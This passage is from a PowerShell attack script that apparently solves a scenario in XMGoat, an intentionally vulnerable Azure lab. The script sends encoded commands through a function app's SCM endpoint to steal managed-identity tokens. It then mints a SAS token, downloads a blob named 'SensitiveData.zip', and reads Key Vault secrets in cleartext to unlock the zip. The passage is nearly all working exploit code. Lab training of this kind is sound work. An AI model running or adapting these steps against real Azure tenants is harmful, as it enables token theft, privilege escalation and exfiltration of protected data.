Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 122 | $headers.Add("Authorization", "Basic $($base64AuthInfo)") 123 | $contentType = "application/json" 124 | $body = "{ 125 | `"command`":`"powershell -EncodedCommand $($Encoded64)`", 126 | `"dir`":`"C:\\home`" 127 | } 128 | " 129 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -Body $body) 130 | $id5Token = (($response.Content).Split('"')[6]).split("\") 131 | 132 | 133 | 134 | #---------------------------------ListingAllThestorageAccounts----------------------------------------------# 135 | $method = "GET" 136 | $URI = "https://management.azure.com:443/subscriptions/e60ae2a9-4b11-47ee-8fd8-dc708ca53dae/providers/Microsoft.Storage/storageAccounts?api-version=2022-09-01" 137 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new() 138 | $headers.Add("Host", "management.azure.com") 139 | $headers.Add("Referer", "https://learn.microsoft.com/") 140 | $headers.Add("Authorization", "Bearer $($id5Token)") 141 | $headers.Add("Origin", "https://learn.microsoft.com") 142 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -UserAgent $userAgent -Body $URIParams) 143 | 144 | #Look For XMGOAT5 145 | $response.RawContent 146 | 147 | 148 | #----------------CreateSASTokenInordertoGetAccesssToBlob-------------------# 149 | 150 | $method = "POST" 151 | $URI = "https://management.azure.com:443/subscriptions/$($uriParam[0])/resourceGroups/$($uriParam[1])/providers/Microsoft.Storage/storageAccounts/xmgoat5/ListAccountSas?api-version=2022-09-01" 152 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new() 153 | $headers.Add("Host", "management.azure.com") 154 | $headers.Add("Referer", "https://learn.microsoft.com/") 155 | $contentType = "application/json" 156 | $headers.Add("Authorization", "Bearer $($id5Token)") 157 | $headers.Add("Origin", "https://learn.microsoft.com") 158 | $body = "{ 159 | signedExpiry: `"2024-07-10T14:34:31.9776110Z`", 160 | signedPermission: `"wrdlacup`", 161 | signedResourceTypes: `"cso`", 162 | signedServices: `"bqtf`" 163 | 164 | }" 165 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -Body $body, $URIParams) 166 | $SAStoken = $response.content.split(':')[1].split('"')[1] 167 | 168 | 169 | #----------------ListContainers-------------------# 170 | 171 | $method = "GET" 172 | $URI = "https://xmgoat5.blob.core.windows.net:443/?comp=list&$($SAStoken)" 173 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new() 174 | $headers.Add("Host", "xmgoat5.blob.core.windows.net") 175 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers) 176 | $data = $response.Content 177 | 178 | #Container Name 179 | $Container = [Regex]::Match( $data, '(?s)(\w*-\w*)' ).Groups.Value[1] 180 | 181 | 182 | 183 | #----------------ListBlob-------------------# 184 | 185 | $method = "GET" 186 | $URI = "https://xmgoat5.blob.core.windows.net:443/$($Container)?restype=container&comp=list&$($SAStoken)" 187 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new() 188 | $headers.Add("Host", "xmgoat5.blob.core.windows.net") 189 | 190 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers) 191 | $blobName = [Regex]::Match( $response.Content,'(?s)(\w.*)').Groups.Value[1] 192 | 193 | 194 | #----------------DownloadBlob-------------------# 195 | 196 | $method = "GET" 197 | $URI = "https://xmgoat5.blob.core.windows.net:443/$($Container)/$($blobName)?$($SAStoken)" 198 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new() 199 | $headers.Add("Host", "xmgoat5.blob.core.windows.net") 200 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers) 201 | 202 | Set-Content "SensitiveData.zip" -Value $response.Content -Encoding Byte 203 | 204 | 205 | #----------------GetTokenForVaultAzureNet-------------------# 206 | 207 | #Get Token for kv5zur555.vault.azure.net 208 | $base64AuthInfo = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(("{0}:{1}" -f $userSCM,$passwordSCM))) 209 | $GeTokenPayload = '$headers=@{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER};$ClientId ="0de890fb-8bd4-42f3-9de7-5b236df07468";$ProgressPreference = "SilentlyContinue";$response = Invoke-WebRequest -UseBasicParsing -Uri "$($env:IDENTITY_ENDPOINT)?resource=https://vault.azure.net&client_id=$ClientId&api-version=2019-08-01" -Headers $headers;$response.RawContent' 210 | $Encoded64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($GeTokenPayload)) 211 | $method = "POST" 212 | $URI = "https://sc5-windows-function-app.scm.azurewebsites.net:443/api/command" 213 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new() 214 | $headers.Add("Host", "sc5-windows-function-app.scm.azurewebsites.net") 215 | $userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 216 | $headers.Add("Authorization", "Basic $($base64AuthInfo)") 217 | $contentType = "application/json" 218 | $body = "{ 219 | `"command`":`"powershell -EncodedCommand $($Encoded64)`", 220 | `"dir`":`"C:\\home`" 221 | } 222 | " 223 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -Body $body) 224 | $id5VaultAzureNetToken = (($response.Content).Split('"')[6]).split("\") 225 | 226 | 227 | #----------------GetSecrets-------------------# 228 | 229 | $method = "GET" 230 | $URI = "https://kv5zur555.vault.azure.net:443/secrets?api-version=7.3" 231 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new() 232 | $headers.Add("Host", "kv5zur555.vault.azure.net") 233 | $headers.Add("Accept", "text/html,application/xhtml+xml") 234 | $headers.Add("Authorization", "Bearer $($id5VaultAzureNetToken)") 235 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -UserAgent $userAgent -Body $URIParams) 236 | $uriWsecre = ([Regex]::Match( $response.Content,'(?s)https(://.*)').Groups.Value).split('"')[0] 237 | 238 | 239 | #----------------GetSecretsVersion-------------------# 240 | 241 | $method = "GET" 242 | $URI = "$($uriWsecre)/versions?api-version=7.3" 243 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new() 244 | $headers.Add("Host", "kv5zur555.vault.azure.net") 245 | $headers.Add("Accept", "text/html,application/xhtml+xml") 246 | $headers.Add("Authorization", "Bearer $($id5VaultAzureNetToken)") 247 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -UserAgent $userAgent -Body $URIParams) 248 | $response.Content 249 | $uriWsecreVersion = ([Regex]::Match( $response.Content,'(?s)https(://.*)').Groups.Value).split('"')[0] 250 | 251 | #----------------GetSecretsClearText-------------------# 252 | 253 | $method = "GET" 254 | $URI = "$($uriWsecreVersion)?api-version=7.3" 255 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new() 256 | $headers.Add("Host", "kv5zur555.vault.azure.net") 257 | $headers.Add("Accept", "text/html,application/xhtml+xml") 258 | $headers.Add("Authorization", "Bearer $($id5VaultAzureNetToken)") 259 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -UserAgent $userAgent -Body $URIParams) 260 | 261 | #Get the Clear-Text Password for the ZIP file 262 | $clearTextSecrets = ([Regex]::Match( $response.Content,'(?s)"value":(.*)').Groups.Value[0]).split(",")[0].split(":")[1].split('"')[1] 263 | 264 | 265 | Write-host " [+] OPEN THE ZIP FILE WITH THE Following PASSWORD: $($clearTextSecrets)" -------------------------------------------------------------------------------- /xmgoat_new.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XMCyber/XMGoat/958218b53527fcdd4eb19b4518bac7387b97b104/xmgoat_new.png --------------------------------------------------------------------------------